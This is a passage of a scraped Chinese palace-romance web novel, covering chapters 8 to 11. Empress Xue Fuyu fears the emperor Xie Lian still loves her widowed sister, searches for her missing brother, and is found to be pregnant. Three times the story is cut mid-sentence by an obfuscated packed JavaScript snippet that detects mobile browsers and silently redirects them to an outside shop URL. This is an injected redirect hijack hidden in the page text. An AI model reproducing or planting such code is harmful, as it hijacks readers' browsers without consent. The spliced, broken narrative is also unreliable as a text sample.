金銮殿内重新响起讨论的声音,赈灾一事迫在眉睫,谢敛无暇再去想别的。 “陛下说今晚不来?” 薛弗玉才哄完昭昭,便问回来复命的素月。 素月继续回答道:“李公公说陛下正焦心朝事,所以今晚都不得空来了。” “这样啊......” 薛弗玉若有所思道。 8. 第 8 章 雪灾一事暂告一段落的时候,已经是五天后的事情。 这五天中,谢敛一直都没有来凤鸾宫。 若是换做是平常,薛弗玉早已经体贴地命人备了东西,亲自带着去紫宸殿寻人了。 可是这一次,她并未如以往一般,大约是心里还存了些气,即便后来知晓那晚他没来是因为雪灾。 体贴柔顺久了,偶尔她也想任性一回。 她舒服地窝在自己的宫中,询问宫人九日后除夕宴的准备情况,不再去想谢敛的事情。 外面的雪下得大,离除夕宴只剩下没几天的时间,宫中主子拢共也没有几个,薛弗玉一年到头忙的时间也无非是几个大节庆。 年二十九的时候宫里照例要提前一天举办除夕宴,届时皇帝宴请臣子一同欢庆新年,也是为了借机犒劳辛苦了一年的臣子。 薛弗玉手上摊开菜品的单子,一一仔细核对,在这种事情上不能出现任何问题。 否则就是她这个皇后办事不力。 她目光落在其中一道菜名上,如玉的纤细指尖点了点:“这道山药虾仁羹去了,换成旁的,本宫记得宋大人吃了山药会得风疹,还有这一道,去年除夕宴大家已经吃过,味道很一般,也换了......” 底下的宫人认真听着,拿笔把要撤下的菜都记了下来。 “行了,就这些,下去吧。”一个时辰之后,薛弗玉终于把所有菜品全部都核对完。 宫人捧着单子出去后,碧云神色匆匆进来,附在薛弗玉耳边说了几句话。 薛弗玉眉心微蹙,她揉了揉有些疲惫的额角,再一次问道:“你看得没错?” 碧云上前替她按摩额角,点头道:“奴婢不会看错的,那确实是成王妃,且跟着她的小姑娘,正是上次差点冲撞了娘娘的。” 薛弗玉回想那日碰见的小姑娘,半晌之后,才缓缓道:“怪不得我看她有几分熟悉。” 原来是四妹妹的女儿。 “娘娘,奴婢已经打听过了,成王妃于半月前就已经回京。”碧云继续道。 半月前?薛弗玉有些意外。 不知道这半个月里,谢敛有没有见她这位好妹妹。 似乎看出了她心中所想,碧云道:“成王妃回京之后,太后倒是召见了她几次,只是成王妃每次进宫的时间,陛下一直都在金銮殿,他们二人大约是没有见上。” “是吗......” 薛弗玉自然是不信的,谢敛对薛明宜的感情,自他年少时她便清楚,后来薛明宜嫁给了成王,成王自请离京,携薛明宜一起去了西北的封地,谢敛这才收起了心思。 “你可知道,她为何会回京?” “半年前成王殁了,成王妃在封地孤苦伶仃,听说是着人送了信到御前,请求回京与家人团聚。” “陛下倒是瞒得挺好,从未与本宫提起。”薛弗玉叹了口气。 她忽然想起那年,薛明宜哭着求自己替她嫁给谢敛的事。 —— 沁梅园。 下了雪之后,此时里面的梅花已经都开了。 园子是先帝在世时建的,只因为先帝的宠妃喜欢红梅,所以先帝便命人造了这个园子。 从前园子里只有红梅,后来那名宠妃死了之后,先太后便又命人在园子里种了腊梅以及白梅。 薛明宜一进园子,就闻到了腊梅的馨香。 她的身后跟着一脸谨慎的宝扇,今日她进宫不是为了太后,而是为了自己的私心。 回京已经半月,她没想到皇帝竟然这么沉得住气,居然没有要召见她的意思。 明明这半个月中,姑母隔三差五就召她进宫陪着,她本以为能在长信宫碰见来给姑母请安的皇帝,谁知道皇帝和姑母竟然生分到了这种地步。 他竟可以做到半个月都不去瞧瞧自己的养母太后。 既然如此,她便只能主动出击。 “宝扇,你确定打听到的消息准确?” 薛明宜趁着雪停进了沁梅园。 她在园中漫无目的地走动了一炷香的时间,结果还是没有看见日思夜想的身影,这时候不得不怀疑,那被收买的太监用假消息诓骗她们。 宝扇却信誓旦旦道:“那小太监是跟着总管李德全做事的,陛下的所有行踪李德全都会与他说,他很肯定半个多时辰前陛下已经来了这里,再说娘娘是什么身份,他一个小太监难道还敢骗您不成?” 有了宝扇的再三保证,薛明宜的心总算是放了下来。 她继续往里走去,穿过红梅林,到了几乎与雪融在一起的白梅林中。 白梅林在沁梅园最深处,周身都是白茫茫的一片,薛明宜抬眼张望,试图想要寻找。 功夫不负有心人,隔着数棵白梅,暗香浮动间,她看见了一道高大颀长的玄色身影。 那张俊美的侧颜在绽放的白梅花海中半隐半现,让人看不真切。 可她一眼就能认出,站在梅花树下的男人正是谢敛。 耳边是砰砰的心跳声。 “娘娘!那位是......”宝扇激动道,话说到一半时像是意识到了什么,忙捂住嘴。 今日御前伺候的宫人,小声嘀咕了一句沁梅园的白梅已开,被谢敛听到后,他心思一动,处理完政事就往这边来了。 他在梅园中挑选了许久,终于挑到了一支满意的梅花,才抬手折下,就听见了薛明宜那边传来的动静。 这样的事情李德全不是第一次经历,从前也有存了心思的宫女,趁着他们陛下独立一人的时候,刻意制造偶遇。 “谁在那里!”李德全知道陛下不喜欢这些,于是对着薛明宜二人所在的方向大声道。 谢敛看着手中的白梅,转身正要离去,却听见一道熟悉的声音。 “妾成王妃,拜见陛下。” 脚下的步子一顿,他再次转身,正好看见女子已经上前,对着他盈盈一拜。 “原来是成王妃,免礼。”他的视线在她身上停留了一瞬,握着白梅的指尖一紧。 几年不见,薛明宜身上也褪去了少女的稚气,只是那张脸仍旧明艳,如同盛开的蔷薇花。 今日薛明宜特意打扮了一番,为的就是能在与谢敛重逢的时候,给他一个深刻的印象,方才谢敛的反应正如她所想,她在心里暗自得意。 “陛下喜欢白梅吗?”见谢敛没有继续说话的意思,薛明宜瞧见他手中的白梅,主动问道。 谢敛不知薛明宜特意在这里与他碰面是何目的,只得随意应了一声。 薛明宜看着比从前高大了不少,又成熟了许多,变得愈发英俊的男人,一颗心跳动得历害,她脸上微热,回忆道:“妾还记得第一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她没想到今天谢敛会来,见他要转身,于是立刻坐了起身。 随着她的动作,身上盖着的毯子滑落,眼下她身上只穿了一件单薄的襦裙,妙曼的身材在谢敛的眼中尽显无疑。 春色撩人。 不等她寻了外衣穿上,男人已经走到了她的跟前。 薛弗玉除了在床上,任何时候在他面前都是端庄得宜的,如今她慌乱得寻找衣物遮挡的模样,倒是第一次。 谢敛头回见她这般手足无措,一时心中生出了恶劣的心思,他俯身靠近,双眼直勾勾地盯着近在咫尺的女人。 隔着一层薄薄的布料,薛弗玉能感受到紧紧贴着她后腰的掌心,传来滚烫的温度。 似乎听见他笑了笑,接着耳边拂过他缓缓吐出的温热气息,“皇后今日,甚是勾人。” 她被那热气激得起了一身的鸡皮疙瘩,耳垂发热。 可想起那晚谢敛的失约,以及薛明宜回京的事情,她只觉得心里膈应得厉害,不想就这样让男人得逞,于是抬手抵在他的身前,柔软的嗓音里带着微嗔:“陛下,素月她们还在外头。” 况且,况且眼下还是白日里,这成何体统?这话她当然没有说出口。 本想只是逗一逗她的男人,却因为她抵在胸膛上的柔荑和那声娇嗔,他身上的肌肉瞬间绷紧,看着她的眸色骤然一深。 “陛下!” 忽然响起的惊呼声很快被淹没。 西窗下的白梅紧紧依附着瓶身,忽地轻颤,几片花瓣似雪落下。 9. 第 9 章 谢敛这一通折腾完,天已经擦黑。 薛弗玉感觉自己浑身骨头都要散架了,她心中有气,忍不住在男人的手臂上狠狠掐了一把。 “别闹......” 男人略带沙哑的声音带着危险,薛弗玉觉得不解气,可又不能纵着自己的性子来,只得在心里骂了他几句。 她坐起身伸手去捞衣裳,谁知道看见雪白的手臂上落下了几道青紫,她愣了一下,继续手上的动作。 想起薛明宜回京的事,到底是问了出口。 “陛下,四妹妹是不是回京了?” 她穿好衣裳,心里总是像有什么东西堵着,便轻声问已经下了榻背着她穿戴的男人。 听到她的问题,谢敛穿衣的手指停顿,接着又若无其事地继续,低哑的嗓音听不出喜怒:“成王妃是已经回京,皇后若是觉得在宫中无聊,可多召她进宫里陪你说说话。” 薛弗玉呼吸一滞,谢敛让她召薛明宜进宫,是不是因为这样他就能时时见到对方? 而她便是那个他们见面的幌子? 她只觉得心中一片酸涩,艰难地应了声,柔声道:“成王去世半年,四妹妹如今只剩自己,确实该多见见人分散注意,免得整日伤怀。” 谢敛回头古怪地看了她一眼,却见她神色柔顺,眸中带着清浅的忧愁。 薛明宜会为了成王伤心?他看未必见得。 可他知道妻子素来善良,不忍打破薛明宜在她心里的形象,索性顺着她的话道:“她确实可怜,日后你可多照看她,免得她有什么想不开的。” 许是提到薛明宜,他的语气柔和了许多。 薛弗玉没想到他居然还想让她多照看妻妹,一时那酸涩的感觉慢慢变成了苦涩,她在心里苦笑,面上却仍是一副温柔模样:“陛下仁慈,四妹妹是臣妾的妹妹,臣妾自然会好好宽慰她。” “皇后贤惠。” 见男人听了她的话露出满意的神色,她不由得又想起之前的传闻,他们说谢敛迟迟没有选秀,皆是因为心里还装着人。 而那个人,不用想都知道是谁。 “今晚朕要去陪母后用晚膳,就不在皇后这里用了。” 谢敛丢下这句话,就出了凤鸾宫。 “娘娘,您怎么不挽留一下陛下,陛下何时同太后这般亲厚了?” 碧云带着宫人进来换了新的被褥之后,见薛弗玉又重新躺了回去,着急问。 今日她得知成王妃回京,害怕太后有意让陛下和成王妃多在一处相处,眼下见自家娘娘无力地瘫软在榻上,她只觉得心酸。 薛弗玉自然知道碧云所想,她觉得不能坐以待毙,这些好不容易得来的东西,她不会轻易就拱手让人。 沉默了一瞬,她突然吩咐道:“去查一下今日成王妃进宫都去了哪里,眼下是否已经出宫。” 碧云退出去后,她仰躺在榻上,盯着那帐顶呆呆看了一会儿,就见素月端着托盘进来,托盘上放着一碗浓黑的汤药。 “娘娘,该喝药了。” 她每天都会喝上一碗药,这药是谢敛特地让太医院院首给她配的,她因为生昭昭的时候,身体受到了极大的亏损,这药已经喝了一年多。 谢敛说是给她调理身子用的。 是否真的给她调理身子的,薛弗玉并未全信,可即便是怀疑,她每一次还是喝得一滴不剩。 她端起碗仰起头一下喝完,甚至眉头都不皱一下,放下碗,忍着反胃的感觉,她道:“走吧,去棠梨宫用晚膳。” 平时若是谢敛不在她这用膳,她都是去棠梨宫陪着女儿一起。 下了榻,她的腿突然一软,整个人差点摔在地上,幸亏素月伸手扶得快。 她又忍不住埋怨:“陛下也真是的,先前几日不见娘娘就罢了,如今见了又不好好怜惜娘娘,将娘娘折腾成这样......” “素月。”薛弗玉打断她,“以后不要再说这种话。” 素月这时候才反应过来自己逾矩了,若是让别人听见,到陛下跟前说一嘴,陛下会不会惩罚她先不说,大概会觉得是娘娘也是这般想的。 “奴婢知错。” 薛弗玉叹了口气,到底没再说什么。 等她去了昭昭的棠梨宫用了晚膳,陪着女儿消食后哄着人睡着了,才疲惫地回到了凤鸾宫。 碧云早已打听消息回来,见了她后,一边替她脱下外衣,一边皱眉道:“照娘娘的吩咐,奴婢打听到了,成王妃今日进宫只在长信宫与太后说了一会儿话,就找了个借口匆匆去了沁梅园,再有便是今晚太后还留了成王妃在长信宫用晚膳。” 沁梅园? 薛弗玉神色微动,她转头看向西窗暖炕上的炕案,案上放着一只青白釉花瓶,一枝白梅从瓶口蜿蜒伸出,枝上栖着的白梅正幽幽绽放。 只有沁梅园才种了白梅,而今日谢敛刚巧带了一枝白梅来,看来他们已经在沁梅园见了,不仅如此,太后还特意给他们二人制造相处的机会。 怪不得他傍晚的时候会迫不及待地离开。 清冷梅香占据了整个屋子,薛弗玉只觉得心口处传来窒息的感觉,那香气闻着让人莫名恶心。 她按了按心口,闭上眼睛深吸了一口气,才缓缓道:“将梅花抱出去吧。” 她不想再看见那株碍眼的白梅。 一宿无话。 那一日过后,又是几天不见谢敛的身影,薛弗玉也没有如往常过问一二,除了忙除夕宴的事情之外,就是焦急等待薛岐的消息。 打听了好几天,终于有了他的消息。 “你说阿弟他护送成王妃回京,中途出了点事,眼下已经失踪半月有余?” 薛弗玉站了起来,一手碰倒案上的茶盏,滚烫的茶水瞬间将她莹白如玉的手背烫红了一片,可她似乎感觉不到一点儿疼痛。 “娘娘小心!” 碧云忙用帕子替她擦拭手背上多余的茶水。 薛弗玉任由她动作,重新跌坐回去,一向温和的脸上难得露出焦急:“现在是不是还没有阿弟的消息,陛下为何不派人去寻找他?” “娘娘不要着急,奴婢打听到跟着将军一起护送的将士留了一半,还在寻找将军,将军他吉人自有天相,一定不会出事的!” 碧云安慰着她,又让人拿了药给她上药。 冰凉的药膏接触到刺痛的皮肤,薛弗玉喃喃道:“怎么会这样,阿弟明明说了过年要回来与我团聚的,阿弟怎么会出事......” 从前在宫里不管受了多大的苦都不见落泪的她,此时声音里带了哽咽。 若是阿弟也出事了,父母留给她的就什么都没了。 眼泪滚了下去,她只觉得眼前一阵晕眩。 碧云替她上好药,一抬头见她神思忧惧,魂不守舍的样子,心猛地一跳,急忙劝道:“娘娘身子弱,太医说了这两年不宜过度伤心,且如今还没有将军的消息,这便是最好的消息,娘娘不妨安心在宫里等待将军的好消息。” 素月也跟着安慰。 “不行,我要去找陛下!” 薛弗玉失魂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007135|194041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落魄地起身跑了出去,连狐裘都没有披上。 “娘娘,等等奴婢们!”碧云和素月反应过来后追了上去,二人皆是满脸的担忧。 可等薛弗玉到了金銮殿,却发现谢敛并不在里头。 “陛下呢?” 她问在门口守着的宫人,宫人见她神色彷徨,身上穿着单薄,立刻小心翼翼回答:“回禀娘娘,陛下去了沁梅园。” 沁梅园,又是沁梅园。 宫人还想提醒她将要下雪,谁知道话未说出口,薛弗玉已经转身离开了。 她几乎是一路跑着到沁梅园,就连天上何时下起了雪也没有察觉,直到她远远看见熟悉的身影,才渐渐止住了脚步。 男人的身边,正站着一名素衣女子,二人站得很近,女子的手边还牵着一名小姑娘,那女子点了点小姑娘的鼻子,不知道说了什么,让男人眉眼间露出笑意。 温馨得就好像是一家三口。 雪花落在薛弗玉修长的脖颈上,冻得她猛地一激灵。 眼前的画面刺得她快要睁不开眼。 “娘娘,下雪了,您别冻着了!” 素月和碧云终于赶到,一人撑着伞,一人将带着的狐裘给她系上。 碧云那一声娘娘故意喊得大声,直接把那边的人的目光吸引了过来。 谢敛抬眸,隔着一丛丛白梅,正好对上脸色苍白的女子,他下意识抬腿朝着她走了过去。 “陛下!” 薛明宜在这里等了几天,好不容易又等到了谢敛,谁知道薛弗玉会找来,她脸上的笑意瞬间褪去,眼睛的责怨露了出来。 她竟不知她的二姐姐为了阻碍她和陛下,连苦肉计都使得出来! “你来做什么?” 薛弗玉只觉得脑子一片混乱,直到谢敛走到她的跟前,听见他的声音,这才清醒了一些,她顾不上什么,双手紧紧抓着他的手臂,带着恳求:“陛下,臣妾求您救救阿弟,求您一定要救臣妾的阿弟!” 她头一次在他跟前这般失态,却是为了她的阿弟。 谢敛见她衣着单薄,身上仅批了件白狐裘,衬得她的脸色愈发苍白,双唇上血色褪尽,即便是隔着布料,他都能感觉到她手指的冰凉。 他心里莫名生出一团火,她竟然为了薛岐,这般不爱惜自己的身子! 温热的手掌贴上薛弗玉的手背,不等她有所反应,便听见凉薄的话:“薛将军护送成王妃回京,在中途私自改道,害得成王妃受伤,朕没有治他的罪,已经算是仁慈,皇后还想要朕如何?” 说着男人把她的手从手臂上掰开。 “私自改道是阿弟不对,陛下就算要治他的罪,也请把人找回来再治罪,好吗?” 薛弗玉只觉得一颗心坠到了谷底,双唇抖得厉害,连声音都是颤抖的。 谢敛嗤笑一声:“皇后如今倒是学会教朕如何做事了。” 说罢甩袖越过她离去。 “陛下,臣妾只有一个阿弟了,陛下真的要这般弃臣妾的亲人不顾吗!” 薛弗玉对着他的背影道。 谢敛握成拳的手背青筋骤然突起,呵,她又不止薛岐一个亲人,难道昭昭不是她的亲人? 难道,他不算她的亲人? 心里的那团火烧得越来越旺,谢敛无视背后的薛弗玉,继续往前。 薛弗玉看着他的背影,只觉得浑身像是被冰冻住了一般,眼前只剩白茫茫的一片。 “娘娘,你怎么了!” 最后她只听见碧云和素月的惊呼声。 10. 第 10 章 “皇后如何了?” 周太医凝神给榻上昏迷不醒的薛弗玉把脉,久久没有言语,站在一旁沉默许久的男人终于开口。 “请陛下再给老臣一点时间。”周太医又给薛弗玉换了只手把脉。 谢敛便不再言语,继续耐着性子安静等待。 不久前在沁梅园看见薛弗玉晕倒,谢敛说不担心是假的,可他到底还在因为她为了薛岐不顾自己的身子生气,更气在她一口一个薛岐。 可她是他的皇后,若是传出皇后在他跟前晕倒,而他无动于衷,到底是于他的名望有损。 最后只得亲自将人抱回了凤鸾宫。 半晌,周太医疑惑地问素月:“娘娘这个月可有来月事?” 素月谨慎回答:“并未,许是生产的时候身子受损,娘娘的月事时常不准。” 谢敛似乎察觉到了什么,他冷着声音问:“周太医是何意思?” 周太医收回诊脉的手,走到谢敛跟前跪伏在地上:“回禀陛下,娘娘的症状看着倒像是有喜了,许是因为月份还太小,老臣一时也把握不准。” 说完,他只觉得身前站着的人似乎冷笑了一下,接着是冷淡的声音:“既然不确定,那便是没有怀上,周太医的医术倒是不怎么精湛。” 闻言周太医脊背一凉,陛下这话听着倒不像是高兴的意思,陛下这是何意?莫非是不想娘娘有孕? 他藏在袖中的手紧紧抓紧,硬着头皮道:“娘娘从脉象上来看,确实是喜脉的象征。” 而一旁的素月和碧云也屏住了呼吸,原先听见周太医说的娘娘有孕而替娘娘感到高兴,谁知道听见陛下的话,却忍不住心惊。 陛下他,难道不盼着娘娘诞下皇子吗? 还是真如传言中的一样,陛下一直心仪着宫外的那位,又或者陛下提防着薛家,所以不能让娘娘诞下皇子,占了太子之位? 谢敛扫了一眼屋内的人,没有从他们的身上看出什么,觉得无趣,最后只是语气凉凉道:“照顾好皇后,明日再去请太医院首给皇后诊脉。” 说这话的时候,他的目光落在榻上脸色苍白,双眸紧闭的女子身上,并未理会颤抖得更厉害的周太医。 薛弗玉只觉得身上一阵冷一阵热,昏迷中看见了许久以前的画面。 从她出生起,她们一家就住在西北边关,她自小在那里长大,家中父母恩爱,姐弟和睦,过着无忧无虑的生活。 前十六年的时光是她最幸福的时光,却没想到在她十七岁时戛然而止。 父亲领兵抵挡外族人的入侵,不幸中毒箭身亡,而母亲伤心过度,不过一年便选了自缢,跟随父亲去了。 她的阿弟自此变得沉默寡言,好不容易让阿弟逐渐从伤痛中走出,带着他上京中投靠薛家,谁知道薛家人却拿她的后半生,去换薛明宜的后半生。 而她的阿弟,为了她能够在宫中站稳脚跟,在她嫁给谢敛不久之后,便自请回了西北,接过父亲手上的兵,投身战场之上。 可是她的阿弟,没有在战场中死去,却在护送薛明宜回京的途中遭到暗杀,至今下落不明。 “阿弟......” 薛弗玉在后半夜醒来,身上早已出了一身汗。 “娘娘,您醒了!” 素月和碧云守在内室,见她醒来,二人面露喜色,命宫人拿了干净的被褥和衣物,一一替她换上。 重新安置好她之后,又端了药进来。 碧云坐在床沿,端起药碗吹了吹,等药凉得差不多的时候,才喂她喝下。 薛弗玉安静地喝完了一碗药,漱了口,想起白天的事情,她问:“我这是怎么了?还有阿弟的事情......” 碧云让人收走药碗,才道:“娘娘身子本就比常人弱了些,白日里在外面穿着单薄,吹了寒风,身子一时遭受不住便晕了。” 她只回答了前一个问题。 薛弗玉醒来后,心情自然没有了白日里的激动,也冷静了许多,细细回想白天的事情总觉得哪里不对,她不信自己平白会晕倒,她自己的身子自己清楚,就算从前刚生产完昭昭没多久,也不见她这么容易就晕倒。 今日的事有些蹊跷,她抬眸看向碧云:“碧云,你如实说,本宫的身子到底怎么了?” 碧云本也没有要隐瞒的意思,尤其在看见陛下得知娘娘有孕之后,不仅没有露出高兴的神色,反而不愿意相信周太医的话后,她便觉得陛下大约是不想要娘娘这一胎。 为了保住这一胎,让娘娘彻底坐稳后位,在陛下和周太医之间,她选择相信周太医,于是轻声道:“周太医今日给娘娘把脉,说娘娘有孕了。” “我有孕了?” 薛弗玉眉心蹙起,她自生下昭昭之后,月事一直处于紊乱的阶段,这两年来都在服用院首张太医开的方子,怎么可能会这么快就有孕? 且那方子,大约还有避子药的成分。 难不成那方子还能出现纰漏不成?她眉心一皱。 想起谢敛经常与她行那事,她垂眸,或许是因为他太勤奋,所以无意间真让她怀上了...... “周太医说了,许是月份小,所以还不明显,娘娘得养好自己的身子,为了肚子里的小皇子,也该少操些心,更不能让自己情绪有太大的起伏。”碧云已经彻底信了周太医的,开始替主子担心起来。 薛弗玉抿了抿唇,面上没有任何高兴的神色,她突然问:“陛下可知道?” 碧云眸色闪烁了一下,才道:“陛下也知道了,只是为了更加稳妥些,说明日再让张太医亲自来给娘娘诊脉。” 她不敢说陛下当时的神情,怕说了惹娘娘难过。 可就算是碧云不说,薛弗玉也能猜到碧云说的话大约是哄她的。 即便是她尚在昏迷中,但也能想象到当时谢敛是何神情。 他大约是不想要她再怀上他的孩子。 毕竟他的心上人回来了,他怎么忍心让自己的心上人伤心。 “也好,怀孕一事总要谨慎一些,若真有了,也算是它与本宫的缘分,若是无,也强求不来。” 况且,她隐隐觉得,这事情没那么简单。 她靠着软枕,只觉得身心疲惫。 除了她疑似有孕的事情,还有就是生死不明的阿弟,碧云说阿弟的部下还在寻找阿弟,或许真如碧云所说,没有消息就是最好的消息。 只要没有瞧见阿弟的尸骨,人便是还活着,活着就有希望。 她应该相信阿弟。 她不敢想,若是阿弟真的出了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007136|194041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事,她如何对得起地底下的阿爹阿娘。 “碧云,你替我做件事......” 吩咐完碧云之后她只觉得疲累,又躺了回去。 剩下的,就只能靠那个人了,不容她多思,药效让她很快又重新睡了回去。 翌日上午。 张太医早早地候在了凤鸾宫的外面,陛下昨夜已经在紫宸殿单独召见了他。 想起昨夜的陛下,他现在还有些后怕。 明明他给皇后娘娘开的方子里,按照陛下的吩咐加了避子药的成分,那成分对身体没有损害,只是为了让娘娘调理身子的。 最开始被陛下质疑的时候,他也自我怀疑,万一娘娘真的有孕了呢?为了自己的脑袋,他只得改口,说添加的避子药成分不多,有疏漏也是难免的事。 可当他抬头看见陛下那张如寒冰的脸,便猜陛下许是不想要这个孩子,至于为何不想要,他也不敢去想,只好道陛下若是不想要那孩子,可趁着娘娘月份不大,让他神不知鬼不觉地拿掉。 结果换来的就是砸碎在他脚边的茶盏。 最后他是屁滚尿流地离开紫宸殿的。 “张太医,娘娘醒了,现在请你进去。” 张太医被素月的声音惊醒,他不再多想,忙拎着药箱垂头跟在素月背后进了薛弗玉的寝殿。 等他在碧云搬来的绣凳上坐好,便听见一道柔和的嗓音:“让张太医久等,本宫的身子便有劳张太医了。” 张太医一脸的诚惶诚恐:“这些都是臣份内之事,娘娘折煞臣了。” 皇后娘娘与陛下对待他的态度简直是天壤之别,他心里怀着对皇后娘娘的一点愧疚,抬手认真地替她把脉。 “娘娘,请换另一只手。” 半晌后张太医脸上的神色逐渐严肃,一时有些不确定,又让薛弗玉换了只手。 碧云和素月看在眼睛,这场景明明和昨天周太医给娘娘把脉一样。 她们心中忐忑,打心底里希望娘娘这一次能怀上皇子,这样不仅能让公主有个伴儿,以后小皇子还能成为娘娘和公主的依靠。 “如何?本宫是否真的如周太医所说,怀有身孕?”薛弗玉问。 张太医听不出她语气中的情绪,他收回手,暗自揣摩她的意思。 “张太医是不敢说吗,还是怕说了本宫会降罪于你?” 薛弗玉面上仍是平静的神色,从她观察张太医的神色来看,她的心里也已经有了答案。 知道了答案,她也不知道自己该难过,还是该高兴。 张太医看了眼薛弗玉的两名大宫女,便道:“如周太医所说,臣也不是很确定,许是月份还小,臣需得过几日再来给娘娘把脉,才能下结论,昨日娘娘受了凉,臣先给娘娘开一副保养的方子,娘娘记得按时服用。” 薛弗玉颔首,语气依旧温和:“有劳,素月,送张太医出去。” “娘娘客气。” 说完他起身行礼,不敢看薛弗玉是何神色。 其实陛下昨夜已经给他下了结论,他只要按着陛下所说的来做就行。 张太医出了凤鸾宫,突然被寒风一吹,才惊觉自己后背的里衣已经被汗浸湿。 他回头看了一眼阖上的宫门,最终无奈叹了口气。 11. 第 11 章 自薛弗玉被张太医再次诊断出有孕之后,谢敛下令除夕宴的事情再不用她亲力亲为。 全都交给内侍省去做了。 薛弗玉每天除了等着薛岐的消息,便是听从张太医的叮嘱安心养胎。 张太医说了,虽然月份还小,但是为了保险起见,从今日开始就要喝安胎药。 那从前喝的药也停了。 “娘娘这一胎倒是和当初怀公主的时候不一样,瞧着就是省心的。” 素月端了安胎药来,看见薛弗玉脸色比前几日好了许多,心里也跟着高兴。 娘娘先前怀公主的时候吃了不少苦,才一个月就有严重的妊娠反应,如今这一胎虽然张太医说约只有一个月,但是除了人惫懒之外,并未有任何的不适。 提到昭昭,薛弗玉的神色柔和了不少,她垂眸扫了一眼并未有任何变化的肚子,浅笑道:“昭昭今日还没来本宫这里,小懒猪现在估计还未起床呢。” 也不知道谁偷偷告诉的昭昭,说她怀了孩子,小姑娘这几日缠她缠得紧,昨夜更是困得睁不开眼了也不愿回去,最后睡着才悄悄让奶嬷嬷给抱走。 素月笑着给她递了安胎药,打趣道:“公主许是吃醋了,才会缠着娘娘。” “不管如何,昭昭在本宫心里,都是最重要的。”薛弗玉道。 她接过药,舀了一勺慢慢喝下,只是才喝第一口,她便尝出了与之前怀昭昭时喝的不同,她放下勺子,问:“这药是照着张太医的药方煎的?” 素月一听,脸上瞬间紧张起来:“娘娘,可是药有什么不对,这药是奴婢亲自去太医院抓的,又亲自盯着她们煎下,定然不会有错,娘娘是怀疑这药有不对劲的地方?” 薛弗玉闻言,脸上的神色缓和了下来,素月跟了她几年,不会做出背主的事情来,这药应是没有问题。 只是她的心中隐隐有个猜想,那个猜想早在张太医给她第一次诊脉的时候就生出,如今更是差不多要证实了。 她不动声色喝完安胎药,后又把手放在了平坦的小腹上,似乎想要感受里头的小生命。 才触到小腹,她的心里便泛起一丝酸涩。 ...... “皇后那边如何了” 谢敛负手站在金銮殿的偏殿,他的身后跪着回来复命的张太医。 张太医这几日都去给薛弗玉请平安脉,请完平安脉就会回来金銮殿复命。 他跪在地上,回答道:“启禀陛下,皇后娘娘经过这几日的调理,身子已经无碍,小皇子...也无碍。” “如此,便好。”谢敛握成拳的手松了松。 当年薛弗玉怀昭昭的时候有多辛苦,他都看在眼里,所以在她生产时差点出事后,为了养好她的身子,只能让张太医开了带有避子药成分的方子让她每日喝下,以此慢慢来调养她的身子。 她是他的发妻,自嫁与他之后陪他吃过不少的苦,又因为她的性子柔顺,对他从来都是一心一意,所以他不想亏待她,否则天下人不知该如何骂他。 他能做到的就是给她皇后的尊荣,予她荣华富贵。 至于其他的,就别想了。 其实登基后不是没有人上谏让他广纳后宫,可他不似他的父皇,他从小见惯了宫里争风吃醋的戏码,只要一想到他的后宫都是乌烟瘴气,便觉得厌恶。 这就是他的后宫里,至今都只有薛弗玉,再无其他人的原因。 “人可处理干净了?” 半晌,谢敛突然问。 张太医面上的神色瞬间变得严肃:“臣已经和林大人神不知鬼不觉把人给处理了,他们不会查到什么,更不会怀疑到陛下的头上来,幸而陛下发现及时,没能让他们得逞,才不至于让娘娘继续受到伤害。” 娘娘晕倒那日陛下便察觉到了不对,顺着周太医的话,林大人暗里去查了太医院,结果还真揪出个奸细。 为了不打草惊蛇,林大人只能在诊出娘娘有孕后几天,才把人给了结了。 谢敛神色稍霁,“此事不能出现任何纰漏,需确保皇后这一胎的安稳,还有,把你的嘴闭紧。” “臣定不负陛下信任!”张太医额头触碰地面,立即表忠心。 谢敛挥了挥手,让张太医退下。 没一会儿,他又把守在外面的李德全唤了进来。 “皇后今日可有喝下安胎药?” 李德全神色一凛,谨慎回答:“回陛下,方才那边的人来回了话,说娘娘把安胎药全部都喝了。” “她可有表现出什么不同寻常的地方?” 谢敛想起三年前,薛弗玉得知自己有孕之后,脸上是掩藏不住的高兴,头一次拉着他说了许久的话,全是对那个孩子的畅享。 说起肚子里未出世的昭昭时,她那清澈如湖水的眼眸温柔得像月华,里面藏着期待。 若是她知道这一次...... 不等他继续深想,李德全很快就回话了。 “娘娘看起来和素日里一般,并没有什么不同的地方,就是昨夜公主得知娘娘怀孕之后,缠了娘娘许久,公主还小,不懂什么,应是觉得未来的小皇子会抢了她的阿娘,所以昨夜格外的黏人。” 李德全把知道的事情一一都与谢敛说了。 后面的谢敛没听,他听见第一句时眉头几不可查地皱了一下。 她再次怀有他的孩子,难道不高兴么? “她可有比前几日开心?”他下意识问。 